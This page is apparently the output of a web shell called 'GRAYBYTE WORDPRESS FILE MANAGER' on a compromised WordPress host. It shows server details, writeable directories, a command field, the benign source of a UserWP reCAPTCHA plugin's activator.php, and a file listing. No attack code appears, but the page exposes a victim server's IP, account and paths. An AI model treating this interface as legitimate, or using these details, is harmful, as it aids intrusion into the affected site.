GRAYBYTE WORDPRESS FILE MANAGER6989

Server IP : 68.65.123.43 / Your IP : 216.73.216.162
System : Linux server266.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/inteuuod/public_html/wp-content/plugins/userswp-recaptcha/includes/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/inteuuod/public_html/wp-content/plugins/userswp-recaptcha/includes//activator.php
<?php
/**
 * Fired during plugin activation
 *
 * @link       http://wpgeodirectory.com
 * @since      1.0.0
 *
 * @package    uwp_recaptcha
 * @subpackage uwp_recaptcha/includes
 */

/**
 * Fired during plugin activation.
 *
 * This class defines all code necessary to run during the plugin's activation.
 *
 * @since      1.0.0
 * @package    uwp_recaptcha
 * @subpackage uwp_recaptcha/includes
 * @author     GeoDirectory Team <info@wpgeodirectory.com>
 */
class UWP_ReCaptcha_Activator {

    /**
     * @since    1.0.0
     */
    public static function activate() {
        self::add_default_options();

        // Set activation redirect flag
        set_transient( '_uwp_recaptcha_activation_redirect', true, 30 );
    }

    public static function add_default_options() {

        $settings = get_option( 'uwp_settings', array());

	    if (!isset($settings['recaptcha_api_key'])) {
		    $settings['recaptcha_api_key'] = "";
	    }
	    if (!isset($settings['recaptcha_api_secret'])) {
		    $settings['recaptcha_api_secret'] = "";
	    }
	    if (!isset($settings['enable_recaptcha_in_register_form'])) {
		    $settings['enable_recaptcha_in_register_form'] = "1";
	    }
	    if (!isset($settings['enable_recaptcha_in_login_form'])) {
		    $settings['enable_recaptcha_in_login_form'] = "1";
	    }
	    if (!isset($settings['enable_recaptcha_in_forgot_form'])) {
		    $settings['enable_recaptcha_in_forgot_form'] = "1";
	    }
	    if (!isset($settings['enable_recaptcha_in_account_form'])) {
		    $settings['enable_recaptcha_in_account_form'] = "1";
	    }
	    if (!isset($settings['enable_recaptcha_in_wp_login_form'])) {
		    $settings['enable_recaptcha_in_wp_login_form'] = "1";
	    }
	    if (!isset($settings['enable_recaptcha_in_wp_register_form'])) {
		    $settings['enable_recaptcha_in_wp_register_form'] = "1";
	    }
	    if (!isset($settings['recaptcha_title'])) {
		    $settings['recaptcha_title'] = "";
	    }
	    if (!isset($settings['recaptcha_theme'])) {
		    $settings['recaptcha_theme'] = "light";
	    }

        update_option( 'uwp_settings', $settings );

    }

}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:24
inteuuod / inteuuod
0755
.htaccess
0.41 KB
July 10 2025 04:32:24
inteuuod / inteuuod
0644
activator.php
2.059 KB
August 23 2024 03:10:15
inteuuod / inteuuod
0644
class-uwp-recaptcha.php
12.835 KB
August 23 2024 03:10:15
inteuuod / inteuuod
0644
functions.php
13.703 KB
August 23 2024 03:10:15
inteuuod / inteuuod
0644
index.php
0.025 KB
August 23 2024 03:10:15
inteuuod / inteuuod
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF